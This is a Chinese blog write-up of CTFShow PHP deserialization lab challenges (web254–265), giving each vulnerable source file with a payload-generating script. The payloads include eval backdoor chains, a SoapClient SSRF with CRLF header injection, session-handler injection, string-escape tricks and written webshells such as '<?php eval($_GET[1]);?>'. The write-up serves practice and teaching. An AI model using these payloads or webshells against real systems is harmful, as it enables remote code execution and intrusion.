自学内容网 自学内容网

CTFShow-反序列化

一些基础:

private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名

__sleep() //在对象被序列化之前运行 *

__wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。

construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的

属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

​ 这个题就是简单的逻辑,首先是登陆,判断账号密码是否为xxxxxx,是的话isVip则返回true,之后检测isVip是否为true,是的话就输出flag。

​ 因此,直接get传两个参数,username和password都是xxxxxx即可出flag。

web255:


error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

​ 逻辑挺简单的,就是从cookie取一个序列化后的字符串,进行反序列化,这个类就实例化成一个对象user,然后对这个对象进行操作,进行login,但是login只会返回一个真或者假,不会操作isVip参数,之后的checkVip会检测isVip的值,为真则输出flag,所以,生成的序列化字符串要求是isVip属性得是真,所以生成的脚本如下:

<?php
class ctfShowUser{
    public $isVip = true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

?username=xxxxxx&password=xxxxxx

web256:

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

​ 这个题在这个函数里有个问题:

public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }

​ 这里很明显,当账号和密码相等的时候,就不会输出flag,当不等的时候就输出,所以,需要通过反序列化将username或者password改一个,使他们不相等,之后get传参的时候传入修改之后的就行了。生成cookie的脚本如下:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
}

$a = new ctfShowUser();
$a->isVip = true;
$a->password = "xxxxx";

echo urlencode(serialize($a));


?username=xxxxxx&password=xxxxx

web257:

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

​ 这个题第一次遇到了魔术方法, 由于存在backDoor类,里面有可以进行RCE的点,所以,这里可以想办法触发__construct方法以及修改参数来创建这个类,但是,由于info类和backDoor类都有一个同名的方法,就是getInfo,所以在脚本结束的时候,也就是释放或者销毁类的时候就会调用__destruct方法, 然后调用到backDoor类里的getInfo方法进行RCE。生成payload的脚本如下:

<?php
class ctfShowUser
{
    private $username = 'xxxxxx';
    private $password = 'xxxxxx';
    private $isVip = true;
    private $class = 'info';

    public function __construct()
    {
        $this->class = new backDoor();
    }
}

class info
{
    private $user = 'xxxxxx';

    public function getInfo()
    {
        return $this->user;
    }
}

class backDoor
{
    private $code = "system('tac flag.php');";

    public function getInfo()
    {
        eval($this->code);
    }
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

web258:


error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

​ 这个题对比上一题,多了个正则过滤,基本上就是过滤了o:数字 以及 c:数字 ,这种形式,这里可以使用加号绕过:

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class = new backDoor();
    }
}
class backDoor{
    public $code = "system('tac fl*');";
}

$a = new ctfShowUser();
$b = serialize($a);
$b = str_replace("O:","O:+",$b);
echo urlencode($b);

​ 这个构造我踩了不少坑,最严重的是system函数后面,没有加分号,这个是最大的问题,我一直以为没有成功,结果是因为每家分号。

web259:

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

​ 这个题给的信息好少,不会做,看下wp。

​ 这一题主要考察了原生类的反序列化,好吧,第一次遇到完全想不到,即使学了原生类也没想到。

​ 由于整个index里面没有任何类,所以后面的反序列化加上$vip->getFlag();给人第一反应应该是调用了一个不存在的方法以及原生类结合,触发__call魔术方法,

​ 贴一个链接,这个文章感觉很详细:【靶场】ctfshow 详解web259原生类反序列化

​ 这里是使用的Soapclient原生类:

Soapclient原生类主要作用是使 PHP 应用程序能够方便地调用远程的 SOAP 服务

SoapClient原生类, 类似于curl一样的存在, 基于 XML 的协议,它使应用程序通过 HTTP 来交换信息

​ 提示里给了这个:

flag.php
 
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
 
 
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

​ 这里可以看出来,flag,php文件会帮我们获得flag的值,但是,需要提前检测ip,也就是xff的值。

​ 从代码上看直接访问flag.php给X_FORWARDED_FOR赋值127.0.0.1三次(127.0.0.1, 127.0.0.1, 127.0.0.1)就可以绕过array_pop(删除数组末尾的值), 在传入token等于ctfshow就能得到flag

​ 所以,构造payload的脚本如下:

<?php
$ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

echo urlencode(serialize($client));

​ 完成上面的生成操作得安装php-soap拓展,我这里用的是phpstudy,它自带这个拓展,但是没有编译。打开php-ini,找到extension=php_soap.dll,把前面的分号去掉。

​ 之后得到的payload发送之后直接读取flag.txt即可。

web260:

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

​ 没搞懂这个题的意义是啥,算了无脑了:get传一个ctfshow=ctfshow_i_love_36D即可得到flag。

web261:

​ 提示里出现了个打redis,有点害怕了。

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

​ 先扔一个考点:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

​ 所以不用搭理__wakeup直接打木马:

​ 因为存在file_put_contents,所以只需要将木马写入文件里即可,然后就是__destruct,在脚本跑完的时候会自动执行,所以完全可以触发,之后,有一个 if($this->code==0x36d ,需要想办法通过,因为是弱比较,所以可以利用这个PHP的特性,先执行下这个:

echo 0x36d == "877.php";

​ 发现输出结果是1,好了,可以直接梭了:

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct(){
        $this->username='877.php';
        $this->password='<?php eval($_GET[1]);?>';
    }
}
$a=new ctfshowvip();
echo urlencode(serialize($a));

​ 之后访问877.php直接RCE即可。

web262:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

​ 文档注释给了信息,有一个message.php文件,访问下:

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

​ 有两个方法,这里先用

直接反序列化:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';

}

$a = new message();
echo base64_encode(serialize($a));

​ 直接通过cookie传一个msg上去即可得到flag

字符串逃逸:

<?php
class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);


#palyoad:f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263:

​ 一上来是个登录框,听说考点是session反序列化,先贴一个文章:session反序列化

​ 首先,访问www.zip获取源码。

​ index.php:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
 setcookie("limit",base64_encode('1'));
 $_SESSION['limit']= 1;
}

?>


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>

<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" οnsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>

<div class="pc-kk-form-btn">
<button οnclick="check();">登陆</button>
</div>
</form>
</div>


<script type="text/javascript" src="js/jquery.min.js"></script>

<script>

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}


</script>

</body>
</html>

​ index.php里主要的php逻辑:

error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
 setcookie("limit",base64_encode('1'));
 $_SESSION['limit']= 1;
}

?>

​ check.php:

<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
['id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}

​ inc/inc.php:

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

​ 最后一个文件没啥用,又长,就不放了。

​ 先看inc/inc.php,里面存在ini_set('session.serialize_handler', 'php');,根据user类,发现可以写入文件,发现在魔术方法__destruct中会把password写入log-username文件中,而这里的username和password可控,在index.php中会检查是否设置了session,并且:

function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }

​ 因为session.save_handler=""于user.ini默认设置不符, 会反序列化session中|后的数据所以可以直接构造payload:

<?php
class User{
    public $username = '1.php';
    public $password = '<?php eval($_POST[a]);?>';
}
 
echo urlencode(base64_encode("|".serialize(new User)));

#palyoad:fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNDoiPD9waHAgZXZhbCgkX1BPU1RbYV0pOz8%2BIjt9

​ 之后访问index.php,将cookie的limit参数改为生成的base64编码字符串,然后访问check.php,最后访问log-1.php即可进行rce。

web264:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

​ 和262一样,访问message.php,然后代码如下:

 <?php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

​ 这里似乎不能修改cookie了,没办法了,直接打吧:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;
 
 
#f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

​ index.php用get传参payload,之后访问message.php,cookie后面加一个;msg=1即可。

web265:

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

php的特性, 按地址传参

例如$a = 1 b = 2 , 这时让 b = 2, 这时让 b=2,这时让b = & a , 再给 a, 再给 a,再给a 重新赋个值 a = 3 , 这个时候 a = 3, 这个时候 a=3,这个时候b就会一直跟着$a变化, a 是什么 a是什么 a是什么b就是什么

$a='123';
$b=&$a;
$b=1;
echo $a;

​ 这个就会发现,a的值会跟着b一起改变。所以payload可以如下生成:

<?php
class ctfshowAdmin
{
    public $token;
    public $password;

    public function __construct()
    {
        $this->token = 'a';
        $this->password =& $this->token;
    }
}
$a=new ctfshowAdmin();
echo serialize($a);


原文地址:https://blog.csdn.net/qq_66013948/article/details/142318259

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!